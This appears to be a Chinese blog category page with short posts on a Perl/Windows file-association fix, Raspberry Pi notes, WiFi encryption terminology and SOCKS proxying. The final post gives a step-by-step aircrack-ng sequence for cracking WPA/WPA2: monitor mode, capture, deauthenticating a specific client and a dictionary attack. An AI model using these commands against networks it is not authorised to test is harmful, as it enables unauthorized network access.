分类 默认分类 下的文章

perl 脚本无法识别参数

问题描述

C:\perl test.pl --param=eric

运行正常, 能识别出 param 的值是 eric

C:\ test.pl --param=eric

脚本能运行, 但是参数识别不出来, test.pl 里面是用的 GetOpt::Long 模块. 这里同样适用于 GetOpt::Std

首先 直接运行 test.pl 能直接运行, 说明 .pl 是和 perl.exe 关联的.
先是怀疑 perl 的 GetOpt 模块有问题, 尝试去替换那个模块, 无解.

然后google 到下面这2个答案:
Why do I have to explicitly add perl before the script for getops to run properly?
How do I make Perl scripts recognize parameters in the Win32 cmd console?

按照这2个描述去修改, 仍旧无法修复.
但是唯一确定的是, 肯定是和文件关联相关的. 下面是几个命令

C:\>assoc .pl  //查看 .pl 文件是关联那个Key
.pl=PerlScript
C:\>ftype PerlScript
PerlScript="C:\Perl\bin\perl.exe" "%1" %*

说明如果你直接运行 .pl 文件, 是在前面加上 C:Perlbinperl.exe 的, 文件名是第一个参数, 后面是其他选项.

解决问题:
打开windows的注册表, 搜索 perl.exe, 如果你看到

"C:\Perl\bin\perl.exe" "%1"

把它改为:

"C:\Perl\bin\perl.exe" "%1" %*

爱上 Raspberry Pi - 读书笔记

Raspberry Pi 2 B 概要: https://www.raspberrypi.org/products/raspberry-pi-2-model-b/

Raspberry Pi 的基本输入输出接口:

GPIO: General Purpose Input and Output 通用输入输出接口
DSI: Display Serial Interface 用15针扁平线缆连接显示屏
CSI: Camera Serial Interface 连接摄像头

Raspbian 预装了 LXDE (Lightweight X11 Desktop Environment) 的图形桌面环境. 可以通过 raspi-config 设置默认启动与否. 如果没启动可以在名两行通过 startx 启动.

Raspberry pi 的 GPIO 无法连接到模拟信号输出的传感器上,必须通过一个模数转换器(ADC) 芯片, 才能读取模拟值.

官方关于GPIO: https://www.raspberrypi.org/documentation/usage/gpio-plus-and-raspi2/
更多关于GPIO的内容: http://pinout.xyz/

WIFI 协议 读书笔记

PKI: Public Key Infrastructure, 有又称 非对称加密 asymmetric encryption;
PSK: Pre-Shared Key.
MAC: Media Access Control;
WPA: Wi-Fi Protected Access;
TKIP: Temporal Key Integrity Protocol;
MIC: Michael integrity check, TKIP 使用这个 Michael 作为完整性check的方法.
TSC: TKIP sequence, 类似 IV;
TLS/SSL :Transport Layer Security/Secure Sockets Layer;
SSH: Secure Shell;
EAP: extensible authentication protocol;
FCS: frame check sequence, 有很多实现, CRC 32 就是其中一种实现算法;
ICV: Integrity Check Value, MAC 层加密之前后边追加 ICV, 加密之后的 frame 上追加的是 CRC, CRC可以被中间人截获,重算, ICV 不可能, 因为没有被解密, 无法重算;
MSDU: MAC service data unit, IP层传给 MAC 层的数据单元, 可以拆分成多个 MPDU;
MPDU: MAC protocol data unit;
RC4: Rivest Cipher 4, Rivest 设计的第4代加密算法, 加密解密用一个函数.

使用命令行扫描无线访问点:
iwlist wlan0 scanning
sudo iwlist wlan0 scan
使用命令行配置访问点: (iwconfig 相对于ifconfig, 只设置 wireless 相关的接口设置).
iwconfig wlan0 essid "tp_link_89s3sd"
使用命令行设置IP
ifconfig wlan0 192.168.0.2 netmask 255.255.255.0 up
显示路由表 (显示或者操作路由表)
route -n

WEP -> RC4 -> 128 (104 bit key + 24 bit IV) -> 流加密 -> 24 bit IV 明文传输 -> IV reuse.
WEP -> 两种Key -> Default Key[4 keys] 和 Key Mapping Key

WPA -> TKIP -> RC4
RSN -> WPA2 ->

802.3 -> Ethernet -> Hub
802.11 -> WLAN -> AP (Infrastructure)

802.11 -> Infrastructure & ad-hoc mode

802.11 和 WIFI 的关系就是, 一个是理论, 一个是实际实现.

WEP
RSN (WPA + WPA2).

加密算法: 流式加密/块加密
解密方式: 对称加密/非对称加密

WPA2 is used in CCMP (counter with CBC MAC protocol) mode for implementing AES in 802.11i, including:

-128-bit keys;
-Using AES in CBC-MAC mode for calculating MIC and AES in counter mode for data encryption; and
-Guaranteeing 48 bit initialisation vector.

WEP 加密过程:
WEP.png

WEP, WPA, WPA2 对比
wepwpawpa2Diff.jpg

SOCKS 协议转化为 HTTP, HTTPS 协议

SOCKS 代理协议是和 HTTP, HTTP, FTP 代理协议不同的代理协议,尽管你有了 SOCKS 代理服务器,你可以在 chrome 设置 SOCKS 代理服务器就可以上网,但是, 如果你在命令行, 或者其他 app 里面想使用代理, 却不能做到. 有没有一种方法可以让 SOCKS 协议转换成 HTTP, HTTPS 协议呢?

- 阅读剩余部分 -

破解 wpa/wpa2

查看網卡:
ifconfig
ifconfig -a

設置網卡爲monitor 模式
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
iwconfig wlan0

// open monitor
airmon-ng start wlan0

//check all networks
airodump-ng wlan0

// dump data
airodump-ng --ivs -w xiaomi -c 10 wlan0
airodump-ng --ivs -w mm -c 6 --bssid 00:10:18:01:D8:82 wlan0

// make network down and reshake hands
aireplay-ng -0 10 -a 40:16:9F:E0:79:00 -c 80:BE:05:0B:C2:B8 wlan1

//crack
aircrack-ng -w /root/Downloads/dict/123.txt mm-02.ivs